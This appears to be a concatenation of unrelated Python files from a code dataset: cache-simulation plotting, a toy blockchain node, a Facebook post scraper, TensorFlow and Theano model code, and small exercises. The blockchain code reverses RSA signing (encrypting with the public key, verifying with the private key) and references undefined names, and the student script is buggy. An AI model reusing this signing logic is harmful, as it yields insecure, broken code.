\"results/hw2_cache_splited_full_.log\"\noutput_filename3 = \"results/Bar.csv\"\ndirectory = os.fsencode(\"./traces/short/\")\n\n# cache_sizes = [size for size in range(12, 21)]\n# cache_sizes_blocks = [2**size for size in range(12, 21)]\n# cache_sizes_labels = [str(size) for size in range(12, 21)]\ncache_sizes = [size for size in range(11, 17)]\ncache_sizes_blocks = [2**size for size in range(11, 17)]\ncache_sizes_labels = [str(size) for size in range(11, 17)]\n\ndef plot_log():\n data = {}\n # create list for each [trace][policy]\n with open(output_filename, 'r') as file:\n for line in file:\n (trace, policy, cache_size, misses, hits, hitrate) = line.split()\n if not trace in data:\n data[trace] = OrderedDict([(\"HW2\",[]), (\"LRU\",[]), (\"FIFO\",[]), (\"RAND\",[])])\n with open(output_filename2, 'r') as file:\n for line in file:\n (trace, policy, cache_size, misses, hits, hitrate) = line.split()\n if not trace in data:\n data[trace] = OrderedDict([(\"HW2\",[]), (\"LRU\",[]), (\"FIFO\",[]), (\"RAND\",[])])\n # append to lists\n with open(output_filename, 'r') as file:\n for line in file:\n (trace, policy, cache_size, misses, hits, hitrate) = line.split()\n data[trace][policy].append((int(cache_size), float(hitrate)))\n # append to lists\n with open(output_filename2, 'r') as file:\n for line in file:\n (trace, policy, cache_size, misses, hits, hitrate) = line.split()\n if policy != 'MRU':\n data[trace][policy].append((int(cache_size), float(hitrate)))\n # sort by cachesize\n for trace, val in data.items():\n for policy, sizes_hitrates_list in val.items():\n l = sorted(sizes_hitrates_list, key=lambda tup: tup[0])\n val[policy] = []\n for tup in l:\n val[policy].append(tup[1])\n\n \n # Finaly export figure to png\n # cols = 3\n cols = int((1+len(data.keys())) / 2)\n fig, plots = plt.subplots(2, cols)\n fig.tight_layout()\n for (i, (trace, d)) in enumerate(data.items()):\n plot = plots[int(i / cols)][int(i % cols)]\n for policy, hitrates in d.items():\n plot.plot(cache_sizes, hitrates, label=policy)\n\n plot.set_title(trace)\n # plot.set_yticks([y for y in range(0, 120, 20)])\n # plot.set_yticklabels(['{}%'.format(y) for y in range(0, 120, 20)])\n # plot.set_ylim(0, 100)\n plot.set_xticks(cache_sizes)\n plot.set_xticklabels(cache_sizes_labels)\n plot.set_xlim(12, 20)\n plot.set(xlabel='log2(cachesize)', ylabel='hitrate %')\n # plot.xlabel('log2(cachesize)')\n # plot.ylabel('hitrate %')\n # plot.autoscale()\n plot.legend()\n\n plt.autoscale()\n plt.delaxes();\n plt.ioff()\n plt.show()\n\ndef plot_log_new():\n data = {}\n # create list for each [trace][policy]\n with open(output_filename3, 'r') as file:\n for line in file:\n (trace, policy, cache_size, hitrate) = line.split(',')\n if not trace in data:\n data[trace] = OrderedDict([(\"HW2\",[]), (\"LRU\",[]), (\"FIFO\",[]), (\"RAND\",[])])\n # append to lists\n with open(output_filename3, 'r') as file:\n for line in file:\n (trace, policy, cache_size, hitrate) = line.split(',')\n data[trace][policy].append((int(cache_size), float(hitrate)))\n # sort by cachesize\n for trace, val in data.items():\n for policy, sizes_hitrates_list in val.items():\n l = sorted(sizes_hitrates_list, key=lambda tup: tup[0])\n val[policy] = []\n for tup in l:\n val[policy].append(tup[1])\n \n # Finaly export figure to png\n # cols = 3\n # cols = int((1+len(data.keys())) / 2)\n cols = 5\n fig, plots = plt.subplots(2, cols)\n fig.tight_layout()\n for (i, (trace, d)) in enumerate(data.items()):\n print(i, int(i / cols), int(i % cols))\n plot = plots[int(i / cols)][int(i % cols)]\n for policy, hitrates in d.items():\n plot.plot(cache_sizes, hitrates, label=policy)\n\n plot.set_title(trace)\n # plot.set_yticks([y for y in range(0, 120, 20)])\n # plot.set_yticklabels(['{}%'.format(y) for y in range(0, 120, 20)])\n # plot.set_ylim(0, 100)\n plot.set_xticks(cache_sizes)\n plot.set_xticklabels(cache_sizes_labels)\n plot.set_xlim(11, 16)\n plot.set(xlabel='log2(cachesize)', ylabel='hitrate %')\n # plot.xlabel('log2(cachesize)')\n # plot.ylabel('hitrate %')\n # plot.autoscale()\n plot.legend()\n\n plt.autoscale()\n # plt.delaxes();\n plt.ioff()\n plt.show()\n\ndef commands():\n result = []\n with open(output_filename, \"a\") as logfile:\n for file in os.listdir(directory):\n filename = os.fsdecode(file)\n if filename.endswith(\".trace\"):\n for policy in [\"HW2\"]:\n for cache_size in cache_sizes_blocks:\n bashCommand = \\\n \"python paging-policy.py -f traces/short/{} --policy={} --cachesize={} -N -S\".format(filename, policy, cache_size)\n result.append((bashCommand, filename, cache_size, policy))\n return result\n\ndef run_trace(tup):\n bashCommand, filename, cache_size, policy = tup\n print(bashCommand)\n completed_process = subprocess.run(bashCommand.split(), capture_output=True)\n output_str = completed_process.stdout.decode(\"utf-8\")\n for line in iter(output_str.splitlines()):\n if line.startswith('FINALSTATS'):\n (hits, misses, hitrate) = line.split()[2:7:2]\n break\n for line in iter(completed_process.stderr.decode(\"utf-8\").splitlines()):\n print(line)\n output_str = '{} {} {} {} {} {}'.format(filename, policy, cache_size, hits, misses, hitrate)\n print(output_str)\n with open(output_filename, \"a\") as logfile:\n logfile.write(output_str+'\\n')\n logfile.flush()\n\nif __name__ == '__main__':\n parser = OptionParser()\n parser.add_option('-r', '--rerun', default=False, action='store_true', dest='rerun')\n (options, args) = parser.parse_args()\n if options.rerun:\n with Pool(6) as p:\n bash_commands = commands()\n p.map(run_trace, bash_commands)\n\n plot_log_new()\n\n","sub_path":"HW2/adapted_simulator/hw2_run_traces.py","file_name":"hw2_run_traces.py","file_ext":"py","file_size_in_byte":6923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"434847172","text":"import json\nimport logging\nimport socket\nimport time\nfrom datetime import datetime\nfrom threading import Thread\nimport hashlib\nfrom flask import Flask, jsonify\nfrom Crypto.PublicKey import RSA\nfrom Crypto import Random\n# https://www.ibm.com/developerworks/cloud/library/cl-develop-blockchain-app-in-python/index.html\nclass Block(object):\n def __init__(self, index, previous_hash, timestamp, data, nonce, hashvalue=''):\n self.index = index\n self.previous_hash = previous_hash\n self.timestamp = timestamp\n self.data = data\n self.nonce = nonce\n self.hash = hashvalue\n\n def calculate_hash(self):\n t = str(self.index)+str(self.previous_hash) +str(self.timestamp) +str(self.data) +str(self.nonce )\n t = t.encode()\n k = hashlib.sha256(t).hexdigest()\n # sha = hasher.sha256()\n # sha.update(str(self.index)+\n # str(self.previous_hash) +\n # str(self.timestamp) +\n # str(self.data) +\n # str(self.nonce ))\n # self.hash = sha.hexdigest()\n # return sha.hexdigest()\n self.hash = k\n return k\n @staticmethod\n def from_previous(block, data):\n return Block(block.index + 1, block.hash, datetime.now(), data,0)\n\n @staticmethod\n def from_json(block):\n block = Block(**block)\n assert block.calculate_hash() == block.hash\n return block\n\n def __repr__(self):\n return str(self.__dict__)\n\n\nGENESIS = Block(\n 0, '', 1522983367254, None, 0,\n '8f6f732cd654d627d1d6bb532deb86a33653546a1741b2c179559466a6504f20'\n)\n\n\n# blockchain = [GENESIS]\n#\n# print ('block dau tien ',GENESIS.hash)\n# for i in range(0,4):\n# previous_block = blockchain[-1]\n# print ('hash block trk ', Block.calculate_hash(previous_block))\n# block_to_add =Block.from_previous(previous_block, \"data\")\n# block_to_add.hash=Block.calculate_hash(block_to_add) # tinh toan hash cua block hien tai\n# blockchain.append(block_to_add)\n# #previous_block = block_to_add\n# print ('stt {}'.format(block_to_add.index))\n# print ('HASH: {}'.format(block_to_add.hash))\n\n\nclass JSONEncoder(json.JSONEncoder):\n def default(self, o):\n return o.__dict__\n\n\nclass Server(object):\n def __init__(self):\n self.blocks = [GENESIS]\n self.peers = {}\n self.state = {}\n\n self.unconfirmed_transactions = []\n self.udp = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n self.udp.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n self.udp_logger = logging.getLogger('UDP')\n\n self.http = Flask(__name__)\n self.http.config.from_object(self)\n self.http.json_encoder = JSONEncoder\n self.http.route('/blocks', methods=['GET'])(self.list_blocks)\n self.http.route('/peers', methods=['GET'])(self.list_peers)\n self.http.route('/blocks', methods=['POST'])(self.add_blocks)\n self.http.route('/transactions', methods=['POST'])(self.add_transactions)\n\n def list_blocks(self):\n return jsonify(self.blocks)\n\n def list_peers(self):\n return jsonify(self.peers)\n\n def proof_of_work(self, block): # day la cong viec cua add_block, K PHAI cua add_transactions\n block.nonce = 0\n block.hash = Block.calculate_hash(block)\n while not block.hash.startswith('000'):\n block.nonce +=1\n block.hash = Block.calculate_hash(block)\n return block.hash #return ve 1 hash hop le proof_of_work\n def add_blocks(self):\n\n previous_block = self.blocks[-1]\n current_block = Block.from_previous(previous_block, self.add_transactions()) # tao ra 1 block moi, voi data la ket qua cua add_transaction\n # current_block.nonce = 0 ( hien tai thi nonce= 0, se thay doi trong proof_of_work)\n # start with '000' >> proof-of-work\n current_block.hash = self.proof_of_work(current_block)\n #check : so sanh vs hash cua block trk\n if previous_block.hash == current_block.previous_hash and current_block.index > previous_block.index:\n self.blocks.append(current_block)\n\n\n def add_transactions(self):\n publickey , privatekey = createAccount()\n #sign signature\n signature, hashmess = sign(\"ahihi\",publickey)\n #verify signature\n if not verify(hashmess,signature,privatekey):\n False\n #verify a balance\n if self.state[pub_key] <= 0:\n return False\n data = str(pub_key)+str(self.state[pub_key])\n return data\n # can return ra 1 hash cua transactions\n #hash do co: key_pub(sender), key_pub(receiver), value\n\n def sign(self, mess, publickey):\n mess = mess.encode()\n # cần hash \"mess\"\n hashmess = hashlib.sha256(mess).hexdigest()\n # tạo chữ kí\n signature = publickey.encrypt(mess,1)\n return signature, hashmess\n\n def verify(self,hashmess ,signature, privatekey):\n #publickey , privatekey = createAccount()\n text = privatekey.decrypt(signature).decode()\n hashtext = hashlib.sha256(text).hexdigest()\n if hashtext==hashmess:\n return True\n return False\n # nếu 2 hash không khác nhau >> nội dung mess k bị thay đổi\n # đối với blockchain, đổi vị trí của publickey và privatekey, vì ai cũng có thể kiểm tra signature xem có chính chủ và k bị đổi k\n\n def createAccount(self):\n #generate key pair based on password\n private_key = RSA.generate(1024)\n public_key = private_key.publickey()\n\n #self.state[public_key]=1000\n # there is a way to save private_key in a file and give it for each node.\n return public_key, private_key\n\n def run(self, host='0.0.0.0'):\n logging.info('Starting...')\n self.udp.bind((host, 2346))\n udp_listen = Thread(target=self.udp_listen)\n udp_broadcast = Thread(target=self.udp_broadcast)\n udp_listen.start()\n udp_broadcast.start()\n\n self.http.run(host=host, port=2345)\n udp_listen.join()\n udp_broadcast.join()\n\n def udp_broadcast(self):\n while True:\n self.udp.sendto(b'hello', ('255.255.255.255', 2346))\n time.sleep(1)\n\n def udp_listen(self):\n while True:\n message, remote = self.udp.recvfrom(8)\n address, _ = remote\n self.udp_logger.debug([message, remote])\n if message == b'hello' and address not in self.peers:\n self.peers[address] = remote\n self.udp_logger.info('Peer discovered: %s', remote)\n","sub_path":"blockchain.py","file_name":"blockchain.py","file_ext":"py","file_size_in_byte":6673,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"104508447","text":"'''\nRetrieves responses (comments, shares and likes) to posts on Rams' facebook\npage during each season from 2009 to 2016 via API call\n'''\n\nimport facebook\nfrom pprint import pprint\nfrom secret import APP_ID, APP_SECRET\n# from pymongo import MongoClient\nimport json\nfrom datetime import datetime\nimport os\n\n\n# constant graph variables\nTKN = APP_ID + '|' + APP_SECRET\nRAMS_ID = '113735558483'\n\ngraph = facebook.GraphAPI(access_token=TKN, version=2.10)\n\n# constant query variables\nFIELDS = '''{created_time,id,likes.limit(200){id},\ncomments.limit(50){from},sharedposts.limit(100){from,to}}'''\n\nSEASONS = {\n 2006: {\n 'start': datetime(2006, 8, 11, 0, 0, 0),\n 'end': datetime(2006, 12, 31, 23, 59, 59)\n },\n 2007: {\n 'start': datetime(2007, 8, 11, 0, 0, 0),\n 'end': datetime(2007, 12, 30, 23, 59, 59)\n },\n 2008: {\n 'start': datetime(2008, 8, 10, 0, 0, 0),\n 'end': datetime(2008, 12, 28, 23, 59, 59)\n },\n 2009: {\n 'start': datetime(2009, 8, 15, 0, 0, 0),\n 'end': datetime(2010, 1, 3, 23, 59, 59)\n },\n 2010: {\n 'start': datetime(2010, 8, 15, 0, 0, 0),\n 'end': datetime(2011, 1, 3, 23, 59, 59)\n },\n 2011: {\n 'start': datetime(2011, 8, 14, 0, 0, 0),\n 'end': datetime(2012, 1, 1, 23, 59, 59)\n },\n 2012: {\n 'start': datetime(2012, 8, 12, 0, 0, 0),\n 'end': datetime(2012, 12, 30, 23, 59, 59)\n },\n 2013: {\n 'start': datetime(2013, 8, 9, 0, 0, 0),\n 'end': datetime(2013, 12, 29, 23, 59, 59)\n },\n 2014: {\n 'start': datetime(2014, 8, 9, 0, 0, 0),\n 'end': datetime(2014, 12, 28, 23, 59, 59)\n },\n 2015: {\n 'start': datetime(2015, 8, 15, 0, 0, 0),\n 'end': datetime(2016, 1, 3, 23, 59, 59)\n },\n 2016: {\n 'start': datetime(2016, 8, 14, 0, 0, 0),\n 'end': datetime(2017, 1, 1, 23, 59, 59)\n }\n }\n\nlimit = 20\nafter = \"\"\nraw = graph.get_object(\n id=RAMS_ID,\n fields='posts.limit('+str(limit)+')' + FIELDS\n )\n\nfirst_post = raw['posts']['data'][0]\nlast_post = raw['posts']['data'][limit-1]\nform = '%Y-%m-%dT%H:%M:%S+0000'\nnewest = datetime.strptime(first_post['created_time'], form)\noldest = datetime.strptime(last_post['created_time'], form)\nyear = 2016\ndirpath = './data/rams_posts'\nif not os.path.exists(dirpath):\n os.makedirs(dirpath)\n\nwhile newest > SEASONS[2006]['end']:\n print(newest)\n if newest < SEASONS[year]['start']:\n year -= 1\n elif newest < SEASONS[year]['end'] or (oldest > SEASONS[year]['start'] and oldest < SEASONS[year]['end']):\n print('Saving...')\n with open(dirpath+'/'+str(newest)+'.json', 'w') as outfile:\n json.dump(raw, outfile)\n\n\n after = raw['posts']['paging']['cursors']['after']\n print('New query')\n retrieved = False\n while limit > 0 and not retrieved:\n try:\n raw = graph.get_object(\n id=RAMS_ID,\n fields='posts.limit('+str(limit)+').after('+after+')' + FIELDS\n )\n first_post = raw['posts']['data'][0]\n last_post = raw['posts']['data'][limit-1]\n newest = datetime.strptime(\n first_post['created_time'],\n form\n )\n oldest = datetime.strptime(last_post['created_time'], form)\n retrieved = True\n limit = 20\n except facebook.GraphAPIError:\n if limit > 5:\n limit -= 5\n else:\n limit -= 1\n\n\n\n## MONGO\n# client = MongoClient('mongodb://localhost:27017/')\n#\n# db = client.capstone\n# for post in posts['posts']['data']:\n# db.rams.insert(post)\n#\n# for post in db.rams.find():\n# pprint(post)\n","sub_path":"GetData/rams_posts.py","file_name":"rams_posts.py","file_ext":"py","file_size_in_byte":4066,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"644627193","text":"__author__ = 'abhishekpatnia'\n\nimport theano\nimport theano.tensor as Tensor\nimport numpy\n\n\nclass MeanPoolLayer(object):\n def __init__(self, layer_input):\n self.layer_input = layer_input\n self.w = numpy.zeros(\n 0,\n dtype=theano.config.floatX)\n self.params = []\n self.forward = Tensor.cast((layer_input.sum(axis=0)/layer_input.shape[0]), theano.config.floatX)\n","sub_path":"com/sattu/nn/layers/MeanPoolLayer.py","file_name":"MeanPoolLayer.py","file_ext":"py","file_size_in_byte":411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"533734925","text":"import numpy as np\nimport os\nimport tensorflow as tf\n\nimport sys\nsys.path.append('../')\n\nfrom sklearn.metrics import precision_recall_fscore_support\n\nimport matplotlib.pyplot as plt\nimport matplotlib.ticker as ticker\n\n\n\nclass NeuralModel(object):\n def __init__(self, config):\n # super(NeuralModel, self).__init__(config)\n self.config = config\n self.sess = None\n self.saver = None\n self.idx_to_tag = {idx: tag for tag, idx in\n list(self.config.vocab_tags.items())}\n\n self.all_losses = []\n\n\n def add_train_optimizer(self, lr_method, lr, loss):\n _lr_m = lr_method.lower()\n\n with tf.variable_scope(\"train_step\"):\n optimizer = tf.train.AdamOptimizer(lr)\n self.train_op = optimizer.minimize(loss)\n\n\n def initialize_session(self):\n self.sess = tf.Session()\n self.sess.run(tf.global_variables_initializer())\n self.saver = tf.train.Saver()\n\n\n def restore_session(self, dir_model):\n self.saver.restore(self.sess, dir_model)\n\n\n def save_session(self):\n if not os.path.exists(self.config.dir_model):\n os.makedirs(self.config.dir_model)\n self.saver.save(self.sess, self.config.dir_model)\n\n\n def close_session(self):\n self.sess.close()\n\n\n def train(self):\n best = 0\n\n for epoch in range(self.config.nepochs):\n print(\"Epoch {:} out of {:}\".format(epoch + 1, self.config.nepochs))\n score = self.run_epoch(epoch)\n print(\"score for {} epoch: {}\".format(epoch, score))\n self.config.lr *= self.config.lr_decay\n\n if score >= best:\n self.save_session()\n best = score\n print(\"new best score: \", best)\n else:\n print(\"early stopping. Current score: {}, best score: {}\".format(score, best))\n break\n\n def evaluate(self, test, filename):\n metrics = self.run_evaluate_with_pred_output(test, filename)\n return metrics\n\n\n def add_placeholders(self):\n self.word_ids = tf.placeholder(tf.int32, shape=[None, None], name=\"word_ids\")\n\n self.sequence_lengths = tf.placeholder(tf.int32, shape=[None], name=\"sequence_lengths\")\n\n self.char_ids = tf.placeholder(tf.int32, shape=[None, None, None], name=\"char_ids\")\n\n self.word_lengths = tf.placeholder(tf.int32, shape=[None, None], name=\"word_lengths\")\n\n self.labels = tf.placeholder(tf.int32, shape=[None, None], name=\"labels\")\n\n self.dropout = tf.placeholder(dtype=tf.float32, shape=[], name=\"dropout\")\n\n self.lr = tf.placeholder(dtype=tf.float32, shape=[], name=\"lr\")\n\n\n def get_feed_dict(self, words, labels=None, lr=None, dropout=None):\n char_ids, word_ids = list(zip(*words))\n word_ids, sequence_lengths = pad_sequences(word_ids, 0)\n char_ids, word_lengths = pad_sequences(char_ids, pad_tok=0, nlevels=2)\n\n feed = {}\n feed[self.word_ids] = word_ids\n feed[self.sequence_lengths] = sequence_lengths\n feed[self.char_ids] = char_ids\n feed[self.word_lengths] = word_lengths\n\n if labels is not None:\n labels, _ = pad_sequences(labels, 0)\n feed[self.labels] = labels\n\n if lr is not None:\n feed[self.lr] = lr\n\n if dropout is not None:\n feed[self.dropout] = dropout\n\n return feed, sequence_lengths\n\n\n def add_word_embeddings_op(self):\n with tf.variable_scope(\"words\"):\n _word_embeddings = tf.Variable(\n self.config.embeddings,\n name=\"_word_embeddings\",\n dtype=tf.float32,\n trainable=self.config.train_embeddings)\n\n word_embeddings = tf.nn.embedding_lookup(_word_embeddings, self.word_ids, name=\"word_embeddings\")\n\n with tf.variable_scope(\"chars\"):\n _char_embeddings = tf.get_variable(\n name=\"_char_embeddings\",\n dtype=tf.float32,\n shape=[self.config.nchars, self.config.dim_char])\n char_embeddings = tf.nn.embedding_lookup(_char_embeddings,\n self.char_ids, name=\"char_embeddings\")\n\n s = tf.shape(char_embeddings)\n char_embeddings = tf.reshape(char_embeddings, shape=[s[0]*s[1], s[-2], self.config.dim_char])\n word_lengths = tf.reshape(self.word_lengths, shape=[s[0]*s[1]])\n\n cell_fw = tf.contrib.rnn.LSTMCell(self.config.hidden_size_char, state_is_tuple=True)\n cell_bw = tf.contrib.rnn.LSTMCell(self.config.hidden_size_char, state_is_tuple=True)\n _output = tf.nn.bidirectional_dynamic_rnn(\n cell_fw, cell_bw, char_embeddings,\n sequence_length=word_lengths, dtype=tf.float32)\n\n _, ((_, output_fw), (_, output_bw)) = _output\n output = tf.concat([output_fw, output_bw], axis=-1)\n\n output = tf.reshape(output,\n shape=[s[0], s[1], 2*self.config.hidden_size_char])\n word_embeddings = tf.concat([word_embeddings, output], axis=-1)\n\n self.word_embeddings = tf.nn.dropout(word_embeddings, self.dropout)\n\n\n def add_logits_op(self):\n with tf.variable_scope(\"bi-lstm\"):\n cell_fw = tf.contrib.rnn.LSTMCell(self.config.hidden_size_lstm)\n cell_bw = tf.contrib.rnn.LSTMCell(self.config.hidden_size_lstm)\n (output_fw, output_bw), _ = tf.nn.bidirectional_dynamic_rnn(\n cell_fw, cell_bw, self.word_embeddings,\n sequence_length=self.sequence_lengths, dtype=tf.float32)\n output = tf.concat([output_fw, output_bw], axis=-1)\n output = tf.nn.dropout(output, self.dropout)\n\n with tf.variable_scope(\"proj\"):\n W = tf.get_variable(\"W\", dtype=tf.float32,\n shape=[2*self.config.hidden_size_lstm, self.config.ntags])\n\n b = tf.get_variable(\"b\", shape=[self.config.ntags],\n dtype=tf.float32, initializer=tf.zeros_initializer())\n\n nsteps = tf.shape(output)[1]\n output = tf.reshape(output, [-1, 2*self.config.hidden_size_lstm])\n pred = tf.matmul(output, W) + b\n self.logits = tf.reshape(pred, [-1, nsteps, self.config.ntags])\n\n\n def add_loss_op(self):\n log_likelihood, trans_params = tf.contrib.crf.crf_log_likelihood(\n self.logits, self.labels, self.sequence_lengths)\n self.trans_params = trans_params\n self.loss = tf.reduce_mean(-log_likelihood)\n\n\n def build(self):\n self.add_placeholders()\n self.add_word_embeddings_op()\n self.add_logits_op()\n self.add_loss_op()\n\n self.add_train_optimizer(self.config.lr_method, self.lr, self.loss)\n self.initialize_session()\n\n\n def predict_batch(self, words):\n fd, sequence_lengths = self.get_feed_dict(words, dropout=1.0)\n\n if self.config.use_crf:\n viterbi_sequences = []\n logits, trans_params = self.sess.run(\n [self.logits, self.trans_params], feed_dict=fd)\n\n for logit, sequence_length in zip(logits, sequence_lengths):\n logit = logit[:sequence_length] # keep only the valid steps\n viterbi_seq, viterbi_score = tf.contrib.crf.viterbi_decode(\n logit, trans_params)\n viterbi_sequences += [viterbi_seq]\n\n return viterbi_sequences, sequence_lengths\n\n else:\n labels_pred = self.sess.run(self.labels_pred, feed_dict=fd)\n\n return labels_pred, sequence_lengths\n\n\n def run_epoch(self, epoch):\n for i, sent in enumerate(self.config.all_train_sentences_preprocessed):\n words = []\n labels = []\n for j, (words_, labels_, startIdx, postag) in enumerate(sent):\n words.append(words_)\n labels.append(labels_)\n\n if len(words) == 0:\n continue\n\n words = [zip(*words)]\n labels = [labels]\n fd, _ = self.get_feed_dict(words, labels, self.config.lr, self.config.dropout)\n\n _, train_loss = self.sess.run(\n [self.train_op, self.loss], feed_dict=fd)\n\n metrics = self.run_evaluate(self.config.all_dev_sentences_preprocessed, epoch)\n print(metrics)\n\n return metrics[2]\n\n\n def run_evaluate(self, test, epoch):\n confusion = np.zeros((self.config.ntags, self.config.ntags))\n all_tags = []\n all_tags_indices = []\n for idx, tag in self.idx_to_tag.items():\n all_tags.append(tag)\n all_tags_indices.append(idx)\n\n l_true = []\n l_pred = []\n\n accs = []\n \n for i, sent in enumerate(test):\n words = []\n labels = []\n for j, (words_, labels_, startIdx, postag) in enumerate(sent):\n words.append(words_)\n labels.append(labels_)\n\n if len(words) == 0:\n continue\n\n words = [zip(*words)]\n labels = [labels]\n\n labels_pred, sequence_lengths = self.predict_batch(words)\n\n for lab, lab_pred, length in zip(labels, labels_pred,\n sequence_lengths):\n lab = lab[:length]\n lab_pred = lab_pred[:length]\n accs += [a==b for (a, b) in zip(lab, lab_pred)]\n\n for (a, b) in zip(lab, lab_pred):\n confusion[all_tags_indices.index(a)][all_tags_indices.index(b)] += 1\n\n l_true += lab\n l_pred += lab_pred\n\n\n # Normalize by dividing every row by its sum\n for i in range(self.config.ntags):\n confusion[i] = confusion[i] / confusion[i].sum()\n\n self.show_confusion_plot(confusion, all_tags, epoch)\n\n tags = [idx for idx, tag in self.idx_to_tag.items()]\n return precision_recall_fscore_support(y_true = l_true, y_pred = l_pred, labels = tags, average='weighted')\n\n def run_evaluate_with_pred_output(self, test, filename):\n l_true = []\n l_pred = []\n\n accs = []\n\n pred_for_test_words = []\n\n for i, sent in enumerate(test):\n words = []\n labels = []\n for j, (words_, labels_, startIdx, postag) in enumerate(sent):\n words.append(words_)\n labels.append(labels_)\n\n if len(words) == 0:\n continue\n\n words = [zip(*words)]\n labels = [labels]\n\n labels_pred, sequence_lengths = self.predict_batch(words)\n\n for lab, lab_pred, length in zip(labels, labels_pred, sequence_lengths):\n for (a, b) in zip(lab, lab_pred):\n pred_for_test_words.append(b)\n\n lab = lab[:length]\n lab_pred = lab_pred[:length]\n accs += [a == b for (a, b) in zip(lab, lab_pred)]\n\n l_true += lab\n l_pred += lab_pred\n\n\n print(\"Writing final predictions file...\")\n with open('../' + filename, \"w\") as f:\n for i, pred_label in enumerate(pred_for_test_words):\n if i != len(pred_for_test_words) - 1:\n f.write(\"{}\\n\".format(self.idx_to_tag[pred_label]))\n else:\n f.write(\"{}\".format(self.idx_to_tag[pred_label]))\n\n tags = [idx for idx, tag in self.idx_to_tag.items()]\n return precision_recall_fscore_support(y_true=l_true, y_pred=l_pred, labels=tags, average='weighted')\n\n def show_confusion_plot(self, confusion, all_tags, epoch):\n # Set up plot\n fig = plt.figure()\n ax = fig.add_subplot(111)\n cax = ax.matshow(confusion)\n fig.colorbar(cax)\n\n\n # Set up axes\n ax.set_xticklabels([''] + all_tags, rotation=90)\n ax.set_yticklabels([''] + all_tags)\n\n # Force label at every tick\n ax.xaxis.set_major_locator(ticker.MultipleLocator(1))\n ax.yaxis.set_major_locator(ticker.MultipleLocator(1))\n\n # plt.show()\n f = self.config.fig_confusionplot+'_' + str(epoch) +'.png'\n print(\"saving confusion plot: \", f)\n plt.savefig(f)\n\n\n#padding\ndef _pad_sequences(sequences, pad_tok, max_length):\n sequence_padded, sequence_length = [], []\n\n for seq in sequences:\n seq = list(seq)\n seq_ = seq[:max_length] + [pad_tok]*max(max_length - len(seq), 0)\n sequence_padded += [seq_]\n sequence_length += [min(len(seq), max_length)]\n\n return sequence_padded, sequence_length\n\n#padding\ndef pad_sequences(sequences, pad_tok, nlevels=1):\n if nlevels == 1:\n max_length = max(map(lambda x : len(x), sequences))\n sequence_padded, sequence_length = _pad_sequences(sequences,\n pad_tok, max_length)\n\n elif nlevels == 2:\n max_length_word = max([max(map(lambda x: len(x), seq))\n for seq in sequences])\n sequence_padded, sequence_length = [], []\n for seq in sequences:\n sp, sl = _pad_sequences(seq, pad_tok, max_length_word)\n sequence_padded += [sp]\n sequence_length += [sl]\n\n max_length_sentence = max(map(lambda x : len(x), sequences))\n sequence_padded, _ = _pad_sequences(sequence_padded,\n [pad_tok]*max_length_word, max_length_sentence)\n sequence_length, _ = _pad_sequences(sequence_length, 0,\n max_length_sentence)\n\n return sequence_padded, sequence_length\n\n","sub_path":"finalSubmission/code/Extension2/Code/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":13662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"470898702","text":"#Concatenate data files using python.\n\nfrom os import listdir\nimport pandas as pd\n\n\n#This is your file that contains correctly ordered columns.\nexample_path = '/Users/.../example.xlsx'\nexample = pd.read_excel(example_path)\n\n\n#You may want to concatenate files located in different directories, so you may want to have a dictionary of file paths.\nd_path = {}\nd_path[path_1] = '/Users/.../'\nd_path[path_2] = '/Users/.../'\n#...\n\n\n# \"data\" is the dictionary that stores all the data.\ndata = {}\nfor path in d_path:\n for file in listdir(d_path[path]):\n data[file] = pd.read_excel(path+file) #In case you file is csv, just do pd.read_csv(path+file).\n \n\n\nall_data = [data[i] for i in data]\nfile = pd.concat(all_data, ignore_index=True) #Concatenate data.\nfile = file.reindex_axis(example.columns, axis=1) #Correct the order of columns.\nfile.to_excel('/Users/.../file.xlsx', index=False) #Export our concatenated data. In case you want csv format, just do pd.to_csv(path+file).\n\n\n\n\n","sub_path":"concatenate data.py","file_name":"concatenate data.py","file_ext":"py","file_size_in_byte":992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"336644987","text":"# -*- coding: utf-8 -*-\nlista=[]\nn= int(input('Digite a quantidade de números: '))\nsoma=0\nfor quant in range(0,n,1):\n num=int(input('Digite um valor: '))\n lista.append(num)\n soma=soma+num\nprint(lista(0))\nprint(lista(len(lista)-1))\n\nprint((soma)/(len(lista)))\n","sub_path":"moodledata/vpl_data/201/usersdata/355/96507/submittedfiles/mediaLista.py","file_name":"mediaLista.py","file_ext":"py","file_size_in_byte":269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"234103597","text":"#!/usr/bin/python3\n#\n# Author: Joshua Go\n# Course: CPSC 326, Spring 2019\n# Assignment: 4\n# Description:\n# This is part of a lexical analyzer program for MyPL that identifies token types such as comma and while. This file\n# returns an error message based on the line and column that it was found\n# ----------------------------------------------------------------------\n\nclass MyPLError(Exception):\n\n def __init__(self, message, line, column):\n self.message = message\n self.line = line\n self.column = column\n\n def __str__(self):\n msg = self.message\n line = self.line\n column = self.column\n return 'error: %s at line %i column %i' % (msg, line, column)\n","sub_path":"mypl_error.py","file_name":"mypl_error.py","file_ext":"py","file_size_in_byte":709,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"508230717","text":"import ipywidgets as w\nfrom IPython.display import display, clear_output\nimport json\nimport numpy as np\n\nfrom widgets_utils import *\nfrom utils import *\n\n# Functions\ndef find_Pareto(parts, restriction):\n \n def combinations(parts, k):\n if k > 1:\n comb = [(*x, y) for x in combinations(parts, k-1) for y in parts[k]]\n return comb\n else:\n comb = [(x, y) for x in parts[k-1] for y in parts[k]]\n return comb\n \n def get_attribute_sum(comb, attr):\n attr_sum = 0\n for part in comb:\n attr_sum += list(part.values())[0][attr]\n return attr_sum\n \n new_parts = []\n for part in get_keys(parts): #restriction.keys():\n particular_parts = filter_parts(parts, part)\n for example in 